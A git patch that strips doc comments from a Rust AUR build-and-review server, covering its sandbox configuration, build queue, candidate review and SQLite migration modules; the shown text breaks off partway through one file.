From 4304b0f336ddba7b4ec6780795059ff2066d105b Mon Sep 17 00:00:00 2001 From: aur-build Date: Thu, 19 Nov 2026 17:33:17 +0000 Subject: comments: keep only what the code cannot show MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Stripped every comment that described what an item does, documented its arguments or fields, or cited the design docs (§n, I-n, m-n, decision n). 2247 comments down to 83. What survives: the section dividers that segment the large modules, the secret-handling warnings, the agent wire-frame directions, and the few notes without which the code they attach to reads as redundant, reorderable, or unsound. --- src/config.rs | 64 --------------------- src/db/approvals.rs | 6 -- src/db/builds.rs | 39 ------------- src/db/candidates.rs | 34 ----------- src/db/migrations.rs | 15 ----- src/db/mod.rs | 35 ------------ src/db/model.rs | 91 ------------------------------ src/db/queries.rs | 130 ------------------------------------------- src/error.rs | 16 ------ src/fetch.rs | 4 -- src/git.rs | 24 -------- src/hash.rs | 13 ----- src/http/auth.rs | 17 ------ src/http/forms.rs | 1 - src/http/mod.rs | 41 -------------- src/http/render.rs | 16 ------ src/http/routes/mod.rs | 15 ----- src/http/routes/mutations.rs | 17 ------ src/http/routes/pages.rs | 21 ------- src/http/sse.rs | 12 ---- src/lib.rs | 4 -- src/main.rs | 45 --------------- src/ops.rs | 49 ---------------- src/pipeline/dispatch.rs | 25 --------- src/pipeline/mod.rs | 41 +------------- src/pipeline/publish.rs | 61 -------------------- src/pipeline/steps.rs | 73 +----------------------- src/pkginfo.rs | 13 ----- src/pkgver/mod.rs | 41 -------------- src/recipe.rs | 48 +--------------- src/review/approve.rs | 40 +------------ src/review/candidates.rs | 13 ----- src/review/diff.rs | 22 -------- src/review/risk.rs | 23 -------- src/sandbox/agent.rs | 20 +------ src/sandbox/kata.rs | 42 -------------- src/sandbox/loopback.rs | 14 ----- src/sandbox/mod.rs | 35 ------------ src/sandbox/remote.rs | 23 +------- src/sandbox/wire.rs | 7 --- src/shims/mod.rs | 79 -------------------------- src/time.rs | 7 --- src/urlutil.rs | 11 ---- src/watch/detect.rs | 52 ----------------- src/watch/digests.rs | 19 ------- src/watch/mirror.rs | 18 ------ src/watch/scheduler.rs | 3 - src/watch/staleness.rs | 19 ------- src/watch/upstream.rs | 40 ------------- 49 files changed, 8 insertions(+), 1490 deletions(-) (limited to 'src') diff --git a/src/config.rs b/src/config.rs index f8fe51a..e4a7e6d 100644 --- a/src/config.rs +++ b/src/config.rs @@ -2,44 +2,27 @@ use std::path::{Path, PathBuf}; use serde::{Deserialize, Serialize}; -/// Fallback tag for a provisioning backend when the caller has no image of its own. pub const DEFAULT_SANDBOX_IMAGE: &str = "aur-build-sandbox:latest"; -/// Where build code runs (§8, the sandbox seam). -/// -/// An enum with required fields rather than a string plus a `validate()`: the -/// string version silently fell through to loopback. #[derive(Clone, Serialize, Deserialize)] #[serde(tag = "kind", rename_all = "kebab-case", deny_unknown_fields)] pub enum Sandbox { - /// Subprocesses of this process; isolation is *none* (§14's sudo rules are - /// the boundary). The default, and the only kind needing no configuration. Loopback, - /// Sandboxes that dial in over the agent protocol (§8a); the hub never - /// provisions them. Remote { - /// Agent dial-in listener; port 0 resolves at bind. listen: String, /// Rendezvous secret. Deploy it like a credential. token: String, - /// Asserts hub and sandbox see the same filesystem — required, because - /// the workspace is not shipped to a remote sandbox (§8a). See - /// `Config`'s startup guard. #[serde(default)] shared_workspace: bool, }, - /// Disposable Kata VMs provisioned by a Kubernetes CRD, so the orchestrator - /// enforces the TTL even if the hub dies (§8a). AgentSandbox { api: String, namespace: String, /// Never logged. bearer: String, - /// The `sandbox-agent` entrypoint. image: String, listen: String, token: String, - /// As [`Sandbox::Remote`]. #[serde(default)] shared_workspace: bool, }, @@ -103,7 +86,6 @@ impl Sandbox { } } - /// `None` for kinds that provision nothing. pub fn image(&self) -> Option<&str> { match self { Sandbox::AgentSandbox { image, .. } => Some(image), @@ -122,63 +104,43 @@ impl Sandbox { pub const KINDS: [&'static str; 3] = ["loopback", "remote", "agent-sandbox"]; } -/// Runtime configuration. Persisted as `/config.json`. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(default)] pub struct Config { - /// Holds db, mirrors, caches, store, repo and logs. pub root: PathBuf, pub repo_name: String, pub arch: String, - /// Signs packages *and* the database (decision 22). pub signing_key_id: String, - /// Loopback only by default (§14). pub bind: String, - /// One credential, no user table. pub password: String, pub base_url: String, pub build_profile: String, pub git_bin: String, pub makepkg_bin: String, - /// The lease set is installed with `pacman -U` inside the sandbox (§8). pub pacman_bin: String, pub repo_add_bin: String, pub gpg_bin: String, - /// Unprivileged user running PKGBUILD code (§14). Empty = current user. pub build_user: String, pub sandbox: Sandbox, - /// Absent unless built with `test-support` (§16a). #[cfg(feature = "test-support")] #[serde(default, skip_serializing_if = "TestHooks::is_empty")] pub hooks: TestHooks, - /// Default 1, so the chroot pool needs only one warm root. pub max_concurrent_builds: usize, pub lease_secs: i64, pub min_free_disk_mb: u64, - /// Transient step failures only (§8.4). pub max_transient_attempts: i64, pub dispatch_tick_secs: u64, } -/// The test harness's handles on a real pipeline (§16a). -/// -/// Each exists because a *fake* pipeline would test something else: I4 needs a -/// process that really dies between the tmp write and the rename, I5 needs a step -/// that really dies mid-child, I9 needs a PKGBUILD that really reaches outside its -/// staging dir. #[derive(Debug, Clone, Default, Serialize, Deserialize)] #[serde(default)] pub struct TestHooks { pub path_prepend: Option, pub shim_manifest: Option, pub shim_dir: Option, - /// `before-rename` or `after-rename`, for I4. pub publish_fault: Option, - /// The named shim must fail, e.g. `makepkg`. pub shim_fail: Option, - /// The named shim SIGKILLs the pipeline process mid-step (I5). pub shim_kill_parent: Option, - /// The build shim plants a symlink to this path in its srcdir (I9). pub shim_plant_link: Option, } @@ -231,10 +193,6 @@ impl Config { .to_string() } - /// Refuse a configuration that cannot work, before anything builds with it. - /// - /// The enum makes the impossible unrepresentable; this catches what a type cannot - /// see — empty-but-present fields, and the assertion the type leaves defaulted. pub fn validate(&self) -> crate::error::Result<()> { let require = |field: &str, value: &str| -> crate::error::Result<()> { if value.trim().is_empty() { @@ -267,7 +225,6 @@ impl Config { if self.sandbox.shared_workspace() { return Ok(()); } - // A remote build only works where hub and sandbox see the same path. Err(crate::error::Error::invalid(format!( concat!( "sandbox kind \"{}\" was not told that hub and sandbox share a filesystem: ", @@ -281,12 +238,6 @@ impl Config { ))) } - /// Read `/config.json`. - /// - /// **The root is the directory the config file was found in.** The `root` field - /// inside the file is documentation, not a second source of truth; honouring a - /// relative field by re-joining it onto the config's directory is what turned - /// `--root runtime` into `runtime/runtime/…`. pub fn load(root: &Path) -> crate::error::Result { let dir = absolute(root)?; let p = dir.join("config.json"); @@ -307,8 +258,6 @@ impl Config { pub fn save(&self) -> crate::error::Result<()> { std::fs::create_dir_all(&self.root)?; let mut out = self.clone(); - // Absolutize on the way out, so a config written from a relative - // `--root` can never be misread. out.root = absolute(&self.root)?; std::fs::write( self.root.join("config.json"), @@ -317,8 +266,6 @@ impl Config { Ok(()) } - /// Child environment as pairs — the form the remote backend puts on the - /// wire, so a remote child sees what a local one would. #[cfg_attr(not(feature = "test-support"), allow(unused_variables))] pub fn child_env_pairs(&self) -> Vec<(String, String)> { #[cfg_attr(not(feature = "test-support"), allow(unused_mut))] @@ -355,7 +302,6 @@ impl Config { } } - /// Create the directory tree the server needs. Idempotent. pub fn ensure_dirs(&self) -> crate::error::Result<()> { for d in [ self.root.clone(), @@ -427,9 +373,6 @@ impl Config { } } -/// A retired key holding exactly what `init` used to write for a local -/// deployment states nothing the default does not already state, so it is noise -/// from an old file rather than lost intent. Anything else is refused. fn retired_key_is_inert(key: &str, value: &str) -> bool { match key { "sandbox_backend" => value == "loopback", @@ -438,10 +381,6 @@ fn retired_key_is_inert(key: &str, value: &str) -> bool { } } -/// The sandbox configuration moved from four flat keys to one tagged object -/// ([`Sandbox`]). A retired key is refused only when it would have changed -/// behaviour: `init` used to write `sandbox_backend: "loopback"` alongside three -/// empty strings, and a config carrying exactly that keeps loading untouched. fn check_retired_sandbox_keys(v: &serde_json::Value) -> crate::error::Result<()> { const RETIRED: [&str; 4] = ["sandbox_backend", "agent_listen", "agent_token", "sandbox_image"]; let named: Vec = RETIRED @@ -471,9 +410,6 @@ fn check_retired_sandbox_keys(v: &serde_json::Value) -> crate::error::Result<()> ))) } -/// Absolutize without resolving symlinks and without requiring the path to -/// exist, both of which `canonicalize` insists on — and `init` saves its config -/// before the tree under it is complete. fn absolute(p: &Path) -> crate::error::Result { Ok(std::path::absolute(p)?) } diff --git a/src/db/approvals.rs b/src/db/approvals.rs index b5a9b59..ececc32 100644 --- a/src/db/approvals.rs +++ b/src/db/approvals.rs @@ -3,7 +3,6 @@ use rusqlite::{params, OptionalExtension, Transaction}; use crate::db::Db; use crate::error::Result; -/// A human decision about one candidate, ready to record. pub struct Decision<'a> { pub candidate_id: i64, pub base_release_id: Option, @@ -15,7 +14,6 @@ pub struct Decision<'a> { pub note: Option<&'a str>, } -/// Record a decision on a candidate and return the approval row's id. pub fn record_in(tx: &mut Transaction<'_>, d: &Decision<'_>) -> Result { tx.execute( "INSERT INTO approval (candidate_id, base_release_id, decided_at, decision, risk_level, @@ -35,9 +33,6 @@ pub fn record_in(tx: &mut Transaction<'_>, d: &Decision<'_>) -> Result { Ok(tx.last_insert_rowid()) } -/// Record a rejection by copying the candidate's own row into the approval -/// table. The decision has to describe the bytes that *were* rejected, so it is -/// read from the row rather than repeated by the caller (§7.1). pub fn record_rejection_in(tx: &mut Transaction<'_>, candidate_id: i64, at: &str, identity_hash: &str, note: &str) -> Result<()> { tx.execute( "INSERT INTO approval (candidate_id, base_release_id, decided_at, decision, risk_level, @@ -49,7 +44,6 @@ pub fn record_rejection_in(tx: &mut Transaction<'_>, candidate_id: i64, at: &str Ok(()) } -/// The decision recorded against a candidate, if one was. pub fn for_candidate(db: &Db, candidate_id: i64) -> Result> { db.read(|c| { Ok(c.query_row( diff --git a/src/db/builds.rs b/src/db/builds.rs index 8598dd3..de9e7fb 100644 --- a/src/db/builds.rs +++ b/src/db/builds.rs @@ -50,13 +50,10 @@ pub(crate) fn row_to_build(r: &rusqlite::Row<'_>) -> rusqlite::Result }) } -/// Deterministic build id (§8.2): re-submitting the same intent is a no-op, -/// which is what makes manual rebuilds safe to enqueue carelessly. pub fn build_id(pkgbase: &str, identity_hash: &str, world_hash: &str, profile: &str) -> String { crate::hash::hex_str(&format!("{pkgbase}|{identity_hash}|{world_hash}|{profile}")) } -/// Enqueue a build intent. `INSERT OR IGNORE` on the deterministic id. #[allow(clippy::too_many_arguments)] pub fn enqueue( db: &Db, @@ -130,7 +127,6 @@ pub fn queued(db: &Db, limit: i64) -> Result> { }) } -/// Claim a build for a worker: the lease is what makes a crash recoverable. pub fn claim(db: &Db, owner: &str, id: &str, lease_secs: i64) -> Result { let (owner, id) = (owner.to_string(), id.to_string()); let exp = time::secs_ahead(lease_secs); @@ -158,10 +154,6 @@ pub fn extend_lease(db: &Db, id: &str, lease_secs: i64) -> Result<()> { }) } -/// Reaper pass (§8.2): expired leases go back to the queue and their in-flight step -/// is marked interrupted, so the checkpoint decides where it resumes. -/// -/// Both `leased` and `running` are reaped: a mid-step death leaves a `running` row. pub fn reap_expired(db: &Db) -> Result { let now = time::now(); db.writer.tx(move |tx| { @@ -189,10 +181,6 @@ pub fn reap_expired(db: &Db) -> Result { }) } -/// The one way a build changes state, usable inside a transaction. -/// -/// The write is a compare-and-swap: only a row in one of `to`'s legal predecessor -/// states is updated, so a zombie worker whose lease was reaped gets an error. fn transition_in_tx( tx: &mut rusqlite::Transaction<'_>, id: &str, @@ -224,7 +212,6 @@ fn transition_in_tx( Ok(()) } -/// Move a build to `to`, refusing any transition [`BuildState`] forbids. pub fn set_state(db: &Db, id: &str, to: BuildState, error: Option<&str>) -> Result<()> { let id = id.to_string(); let error = error.map(|e| e.to_string()); @@ -242,10 +229,6 @@ pub fn block_on(db: &Db, id: &str, blocked_on: &[String]) -> Result<()> { }) } -/// Requeue blocked builds whose blocking packages have since arrived (§10.4). -/// -/// Not "requeue everything that is blocked": the dispatcher calls this every pass, -/// and requeueing a build that will immediately block again burns a claim each tick. pub fn requeue_blocked(db: &Db) -> Result { let now = time::now(); db.writer.tx(move |tx| { @@ -256,8 +239,6 @@ pub fn requeue_blocked(db: &Db) -> Result { .collect::>>()?; out }; - // The index membership check is one query for the whole pass, not one per - // dependency of every blocked build (m-17), on the dispatcher's hot loop. let in_index: std::collections::HashSet = { let mut stmt = tx.prepare("SELECT name FROM package WHERE state='in_index'")?; let names = stmt @@ -349,9 +330,6 @@ pub fn begin_step(db: &Db, build_id: &str, step: &str, attempt: i64) -> Result<( let (b, s) = (build_id.to_string(), step.to_string()); let at = time::now(); db.writer.tx(move |tx| { - // The `WHERE` is I5 with teeth: a step already checkpointed as done is - // frozen, so a resume that asks to re-run it cannot overwrite the record - // that told it to skip. The insert path is unaffected. let n = tx.execute( "INSERT INTO build_step (build_id, step, status, attempt, started_at) VALUES (?1,?2,'running',?3,?4) @@ -370,8 +348,6 @@ pub fn begin_step(db: &Db, build_id: &str, step: &str, attempt: i64) -> Result<( }) } -/// Record what a step produced. Refuses a transition [`StepState`] forbids — -/// above all, writing over a checkpoint a resume is relying on. pub fn finish_step( db: &Db, build_id: &str, @@ -416,7 +392,6 @@ pub fn finish_step( }) } -/// Builds in flight (leased or running), for the backpressure calculation. pub fn in_flight(db: &Db) -> Result { db.read(|c| { Ok(c.query_row( @@ -460,7 +435,6 @@ pub fn touch(db: &Db, id: &str) -> Result<()> { }) } -/// Record which release a build produced, inside the publish transaction. pub fn set_release_in(tx: &rusqlite::Transaction<'_>, id: &str, release_id: i64) -> Result<()> { tx.execute("UPDATE build SET release_id=?1 WHERE id=?2", params![release_id, id])?; Ok(()) @@ -532,9 +506,6 @@ pub fn current_state(c: &Connection, id: &str) -> Result> { } } -/// Claim up to `limit` queued builds in one `BEGIN IMMEDIATE` transaction and -/// hand them to workers (§8.2). SQLite has no `SKIP LOCKED`, but with exactly one -/// writer the claim cannot race: the SELECT and the UPDATE are one transaction. pub fn claim_batch(db: &Db, owner: &str, limit: usize, lease_secs: i64) -> Result> { if limit == 0 { return Ok(Vec::new()); @@ -563,9 +534,6 @@ pub fn claim_batch(db: &Db, owner: &str, limit: usize, lease_secs: i64) -> Resul }) } -/// A newer approved release for the same pkgbase makes an in-flight build -/// pointless (§8.2 cancellation). Workers notice at the next step boundary and -/// stop; nothing is killed mid-step, which is what keeps the checkpoints honest. pub fn cancel_superseded(db: &Db) -> Result { db.writer.tx(move |tx| { let n = tx.execute( @@ -578,17 +546,12 @@ pub fn cancel_superseded(db: &Db) -> Result { }) } -/// Put a build back on the queue after a transient failure, keeping the attempt -/// count so the retry cap can bite (§8.4). pub fn requeue_transient(db: &Db, id: &str) -> Result<()> { let id = id.to_string(); db.writer .tx(move |tx| transition_in_tx(tx, &id, BuildState::Queued, None)) } -/// Explicitly retry a failed build (§8.4): the failed step goes back to pending, -/// everything that succeeded stays checkpointed, and the attempt counter keeps -/// counting. pub fn retry(db: &Db, id: &str) -> Result<()> { let id = id.to_string(); db.writer.tx(move |tx| { @@ -597,8 +560,6 @@ pub fn retry(db: &Db, id: &str) -> Result<()> { WHERE build_id=?1 AND status IN ('failed','interrupted')", params![id], )?; - // The move itself goes through the machine, so requeueing a build that - // already published is refused with a reason. transition_in_tx(tx, &id, BuildState::Queued, None)?; tx.execute("UPDATE build SET cancel_requested=0 WHERE id=?1", params![id])?; Ok(()) diff --git a/src/db/candidates.rs b/src/db/candidates.rs index 631bf42..df145ac 100644 --- a/src/db/candidates.rs +++ b/src/db/candidates.rs @@ -4,7 +4,6 @@ use crate::db::{CandidateRow, CandidateState, Db}; use crate::error::{Error, Result}; use crate::time; -/// The columns `row_to_candidate` reads, spelled once (§6 m-3). const CANDIDATE_COLS: &str = "c.id, c.pkgbase_id, c.base_release_id, c.kind, c.snapshot_id, c.epoch, c.pkgver, \ c.pkgrel, c.upstream_pins_json, c.source_digests_json, c.identity_hash, c.diff_digest, \ c.revision, c.viewed_at, c.risk_level, c.risk_signals_json, c.missing_deps_json, c.state, \ @@ -36,7 +35,6 @@ fn row_to_candidate(r: &Row<'_>) -> rusqlite::Result { }) } -/// The fields a new candidate row carries, beyond its pkgbase and its base. #[derive(Debug, Clone)] pub struct NewCandidate { pub snapshot_id: i64, @@ -49,13 +47,11 @@ pub struct NewCandidate { } impl NewCandidate { - /// The `epoch:pkgver-pkgrel` this candidate would publish. pub fn version(&self) -> String { crate::pkgver::full_version(&self.epoch, &self.pkgver, &self.pkgrel) } } -/// The open review of a pkgbase — as much of it as the collapse rules need. #[derive(Debug, Clone)] pub struct OpenReview { pub id: i64, @@ -65,8 +61,6 @@ pub struct OpenReview { } impl OpenReview { - /// Has a human opened this review yet? That timestamp is what decides - /// whether a newer detection collapses or supersedes (§7.1). pub fn viewed(&self) -> bool { self.viewed_at.is_some() } @@ -74,8 +68,6 @@ impl OpenReview { // ------------------------------------------------------------------ in-tx -- -/// Everything the approval gate has to look at to decide, read in one statement -/// so the check cannot straddle two snapshots of the database. #[derive(Debug, Clone)] pub struct ReviewSubject { pub id: i64, @@ -83,9 +75,7 @@ pub struct ReviewSubject { pub state: CandidateState, pub identity_hash: String, pub diff_digest: String, - /// The release this review was opened against (I2). pub base_release_id: Option, - /// What the pkgbase accepts now — the other half of the I2 check. pub current_base_release_id: Option, pub risk_level: String, pub pkgbase: String, @@ -116,10 +106,6 @@ pub fn review_subject_in(tx: &Transaction<'_>, candidate_id: i64) -> Result, id: i64, to: CandidateState, at: &str) -> Result<()> { let froms = CandidateState::predecessors(to); let placeholders = froms.iter().map(|_| "?").collect::>().join(","); @@ -144,8 +130,6 @@ pub fn resolve_in(tx: &Transaction<'_>, id: i64, to: CandidateState, at: &str) - Ok(()) } -/// A candidate's state, read inside a transaction (the reject path needs it -/// before it writes). pub fn state_in(tx: &Transaction<'_>, id: i64) -> Result> { Ok(tx .query_row("SELECT state FROM candidate WHERE id=?1", params![id], |r| { @@ -160,7 +144,6 @@ pub fn identity_in(tx: &Transaction<'_>, id: i64) -> Result> { .optional()?) } -/// The risk level recorded at review time, if the candidate exists. pub fn risk_level(db: &Db, id: i64) -> Result> { db.read(|c| { Ok(c.query_row("SELECT risk_level FROM candidate WHERE id=?1", params![id], |r| r.get::<_, String>(0)) @@ -168,7 +151,6 @@ pub fn risk_level(db: &Db, id: i64) -> Result> { }) } -/// The pkgbase's open review, if it has one (I7: at most one). pub fn open_in(tx: &Transaction<'_>, pkgbase_id: i64) -> Result> { Ok(tx .query_row( @@ -187,8 +169,6 @@ pub fn open_in(tx: &Transaction<'_>, pkgbase_id: i64) -> Result, open: &OpenReview, nc: &NewCandidate) -> Result { let revision = open.revision + 1; tx.execute( @@ -212,14 +192,11 @@ pub fn collapse_in(tx: &mut Transaction<'_>, open: &OpenReview, nc: &NewCandidat Ok(revision) } -/// Freeze a reviewed candidate as `superseded` so a fresh review can open. pub fn supersede_in(tx: &Transaction<'_>, id: i64) -> Result<()> { let at = time::now(); resolve_in(tx, id, CandidateState::Superseded, &at) } -/// Has this exact identity been rejected before? If so the watcher stays quiet -/// until a human re-opens it (§7.1). pub fn rejected_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: &str) -> Result { Ok(tx .query_row( @@ -232,8 +209,6 @@ pub fn rejected_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: .is_some()) } -/// Has this identity been recorded at all — approved, superseded, anything? -/// Then the detection said nothing new. pub fn recorded_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: &str) -> Result { Ok(tx .query_row( @@ -246,7 +221,6 @@ pub fn recorded_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: .is_some()) } -/// Open a candidate row in `pending_review`. pub fn insert_in( tx: &mut Transaction<'_>, pkgbase_id: i64, @@ -277,7 +251,6 @@ pub fn insert_in( // ------------------------------------------------------------------ reads -- -/// Every candidate regardless of state, newest first (`aur-build reviews --all`). pub fn all(db: &Db) -> Result> { let sql = format!("SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id ORDER BY c.detected_at DESC LIMIT 500"); db.read(move |c| { @@ -291,7 +264,6 @@ pub fn all(db: &Db) -> Result> { }) } -/// The reviews waiting for a decision, riskiest first. pub fn pending(db: &Db) -> Result> { let sql = format!( "SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id \ @@ -316,7 +288,6 @@ pub fn by_id(db: &Db, id: i64) -> Result> { }) } -/// Open reviews for a pkgbase (usually zero or one, by I7). pub fn open_reviews_for(db: &Db, pkgbase_id: i64) -> Result> { let sql = format!( "SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id \ @@ -335,8 +306,6 @@ pub fn open_reviews_for(db: &Db, pkgbase_id: i64) -> Result> { // ---------------------------------------------------------------- writes -- -/// Mark a candidate `viewed` the first time a human opens it. That timestamp is -/// what decides whether a later detection collapses or supersedes (§7.1). pub fn mark_viewed(db: &Db, id: i64) -> Result<()> { let at = time::now(); db.writer.tx(move |tx| { @@ -348,8 +317,6 @@ pub fn mark_viewed(db: &Db, id: i64) -> Result<()> { }) } -/// §7.1: a rejection can be re-opened. The rejected row is retired so it stops -/// suppressing the identity, and the next detection opens a fresh review. pub fn reopen_rejected(db: &Db, id: i64) -> Result<()> { let at = time::now(); db.writer.tx(move |tx| { @@ -364,7 +331,6 @@ pub fn reopen_rejected(db: &Db, id: i64) -> Result<()> { }) } -/// Record the risk assessment computed at review time. pub fn set_risk(db: &Db, id: i64, level: &str, signals: &[String]) -> Result<()> { let lvl = level.to_string(); let sig = serde_json::to_string(signals)?; diff --git a/src/db/migrations.rs b/src/db/migrations.rs index b1954ab..18e9a4b 100644 --- a/src/db/migrations.rs +++ b/src/db/migrations.rs @@ -1,4 +1,3 @@ -/// One migration: version number + SQL body. pub struct Migration { pub version: u32, pub name: &'static str, @@ -268,17 +267,11 @@ BEGIN END; "#; -/// `artifact.build_id` lets the publish step find what `ingest` recorded without -/// re-scanning the disposable staging directory, so a worker that dies between -/// ingest and publish resumes cleanly (I5). const M_0005_ARTIFACT_BUILD: &str = r#" ALTER TABLE artifact ADD COLUMN build_id TEXT; CREATE INDEX artifact_by_build ON artifact (build_id); "#; -/// §7.2: the approval record is immutable. It is the only proof the system has -/// of *what a human actually looked at*, so editing it would let a later -/// attacker retarget a published artifact onto a clean review. const M_0006_APPROVAL_IMMUTABLE: &str = r#" CREATE TRIGGER approval_no_update BEFORE UPDATE ON approval @@ -293,9 +286,6 @@ BEGIN END; "#; -/// Stage B results, keyed on `(pkgbase, recipe_hash, upstream_tip)` (§5.2). -/// Re-resolving means cloning an upstream repo and running makepkg, so the answer -/// is worth keeping; the same key also implements the per-pkgbase cooldown. const M_0007_STAGE_B_CACHE: &str = r#" CREATE TABLE stage_b_cache ( pkgbase_id INTEGER NOT NULL REFERENCES pkgbase(id), @@ -312,10 +302,6 @@ CREATE TABLE stage_b_cache ( CREATE INDEX stage_b_cache_by_pkgbase ON stage_b_cache (pkgbase_id, resolved_at); "#; -/// Retention (§15). The rows are never compacted — the schema exists so "which -/// bytes produced this installed package" stays answerable — but the bytes on disk -/// cannot be kept forever. So eviction is recorded rather than implied: the -/// artifact row keeps its digest, size and provenance and gains a `purged_at`. const M_0008_RETENTION: &str = r#" ALTER TABLE artifact ADD COLUMN purged_at TEXT; @@ -348,7 +334,6 @@ pub static MIGRATIONS: &[Migration] = &[ Migration { version: 8, name: "retention", sql: M_0008_RETENTION }, ]; -/// Default settings seeded into `settings` (DESIGN.md §11). pub const DEFAULT_SETTINGS: &[(&str, &str)] = &[ ("max_concurrent_builds", "1"), ("build_timeout", "5400"), diff --git a/src/db/mod.rs b/src/db/mod.rs index c271fe7..95833be 100644 --- a/src/db/mod.rs +++ b/src/db/mod.rs @@ -8,8 +8,6 @@ pub mod queries; pub use migrations::MIGRATIONS; pub use model::*; -/// Parse a state column into one of the state enums. A value the code does not -/// recognise fails the row instead of becoming a default. pub(crate) fn state_col(col: usize, text: &str) -> rusqlite::Result { T::parse(text).ok_or_else(|| { rusqlite::Error::FromSqlConversionFailure( @@ -35,7 +33,6 @@ use rusqlite::Connection; use crate::config::Config; use crate::error::{Error, Result}; -/// Open a connection with the pragmas every connection needs. fn open(path: &Path, read_only: bool) -> Result { let conn = if read_only { Connection::open_with_flags( @@ -56,14 +53,12 @@ fn configure(conn: &Connection, read_only: bool) -> Result<()> { .and_then(|_| conn.pragma_update(None, "foreign_keys", "ON")) .map_err(|e| Error::db(e.to_string()))?; if !read_only { - // Durability of the approval trail is worth the fsync (§11a). conn.pragma_update(None, "synchronous", "FULL") .map_err(|e| Error::db(e.to_string()))?; } Ok(()) } -/// Apply pending migrations. Must run before the writer actor starts. pub fn migrate(path: &Path) -> Result { let mut conn = open(path, false)?; let mut applied = 0u32; @@ -101,9 +96,6 @@ enum Msg { Shutdown, } -/// Handle on the single writer thread. -/// -/// Cheap to clone; every clone talks to the same actor. pub struct Writer { tx: Sender, path: PathBuf, @@ -111,7 +103,6 @@ pub struct Writer { } impl Writer { - /// Spawn the writer actor thread. pub fn start(path: &Path) -> Result { let conn = open(path, false)?; let (tx, rx) = unbounded::(); @@ -129,7 +120,6 @@ impl Writer { Msg::Shutdown => break, } } - // Best-effort WAL checkpoint on the way out. let _ = conn.pragma_update(None, "wal_checkpoint", "TRUNCATE"); alive_thread.store(false, Ordering::SeqCst); }) @@ -145,13 +135,6 @@ impl Writer { self.alive.load(Ordering::SeqCst) } - /// Run `f` on the write connection and wait for its result. No transaction - /// may span a build step: `f` should be short. - /// - /// `pub(crate)`, not `pub`: the schema has one owner, this module (§6 M-1). - /// Inside the crate the convention is enforced by - /// `tests/schema_ownership.rs`, which fails the build if a SQL statement - /// appears outside `src/db/`. pub(crate) fn call(&self, f: impl FnOnce(&mut Connection) -> Result + Send + 'static) -> Result where T: Send + 'static, @@ -165,7 +148,6 @@ impl Writer { .map_err(|_| Error::db("writer actor gone"))? } - /// Run `f` inside a single `BEGIN IMMEDIATE` transaction. pub(crate) fn tx( &self, f: impl FnOnce(&mut rusqlite::Transaction<'_>) -> Result + Send + 'static, @@ -183,7 +165,6 @@ impl Writer { }) } - /// Fire-and-forget write (audit rows, bookkeeping where the result is unused). pub(crate) fn send(&self, f: BoxedCall) -> Result<()> { if !self.is_alive() { return Err(Error::db("writer actor gone")); @@ -198,10 +179,6 @@ impl Writer { } } -/// The raw-SQL door, open only for the test harness (§6 M-9). A fixture -/// sometimes has to reach a state the typed API only reaches through several -/// steps, but that is not a reason to leave the door unlocked in the binary an -/// operator runs. #[cfg(feature = "test-support")] impl Writer { pub fn tx_for_tests( @@ -222,9 +199,6 @@ impl Writer { } } -/// Thread-local read-only connection pool: one connection per thread per -/// database file. HTTP handlers and watchers use this; they never touch the -/// write connection. pub struct Readers { path: PathBuf, } @@ -238,7 +212,6 @@ impl Readers { Self { path: path.to_path_buf() } } - /// Run `f` against this thread's read-only connection. pub fn with(&self, f: impl FnOnce(&Connection) -> Result) -> Result { let path = self.path.clone(); POOL.with(|pool| { @@ -258,7 +231,6 @@ impl Readers { } } -/// A handle bundling the writer with a reader factory; passed around as `App`. #[derive(Clone)] pub struct Db { pub writer: Arc, @@ -279,13 +251,11 @@ impl Db { }) } - /// Convenience: read-only query against the shared reader pool. pub fn read(&self, f: impl FnOnce(&Connection) -> Result) -> Result { self.readers.with(f) } } -/// Consistent snapshot for backups: `VACUUM INTO`, never `cp` of a live WAL db. pub fn backup_to(writer: &Writer, dest: &Path) -> Result<()> { let dest_s = dest.display().to_string(); writer.call(move |conn| { @@ -295,11 +265,6 @@ pub fn backup_to(writer: &Writer, dest: &Path) -> Result<()> { }) } -/// The schema version a database file reports. A backup that does not answer -/// with a migrated schema is a file, not a backup. -/// -/// Opened read-write and untouched by the connection pragmas: a WAL database -/// cannot even be opened read-only. pub fn schema_version(path: &Path) -> Result { let conn = rusqlite::Connection::open(path) .map_err(|e| Error::db(format!("{} does not open: {e}", path.display())))?; diff --git a/src/db/model.rs b/src/db/model.rs index 84701d1..5afb793 100644 --- a/src/db/model.rs +++ b/src/db/model.rs @@ -2,24 +2,15 @@ use serde::{Deserialize, Serialize}; use crate::hash; -/// One resolved upstream VCS source (DESIGN.md §3). The commit SHA alone is -/// sufficient: a git commit transitively commits to its tree, and a gitlink in -/// that tree commits to any submodule's commit. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct UpstreamPin { pub index: usize, pub url: String, - /// The ref we asked for: `HEAD`, a tag, or an explicit commit. pub ref_: String, pub branch: Option, - /// The pin. pub commit: String, } -/// A row of the Stage B cache (§5.2): the version resolution produced, with the -/// pins it was computed from. This lives with the schema because the table does — -/// the persistence layer must not name a type from the module that owns VCS -/// probing (§6 M-6). #[derive(Debug, Clone)] pub struct StageBCacheRow { pub epoch: String, @@ -34,40 +25,28 @@ impl StageBCacheRow { } } -/// A source entry with the digest *we* computed, regardless of what the -/// PKGBUILD declares (§5.3). #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct SourceDigest { pub index: usize, pub url: String, - /// `static` | `vcs` | `local` pub kind: String, - /// sha256, or the resolved VCS commit for vcs sources. pub digest: String, pub size: u64, - /// True when the PKGBUILD gave us no checksum to trust — `SKIP`, a malformed - /// digest, or nothing at all. It means that and nothing else (m-19): a `-git` - /// source has no checksum by design because the *pin* is the integrity. Ask - /// [`SourceDigest::is_vcs`] which mechanism protects an entry. pub skip_declared: bool, } impl SourceDigest { - /// True when this entry's integrity comes from a resolved commit rather 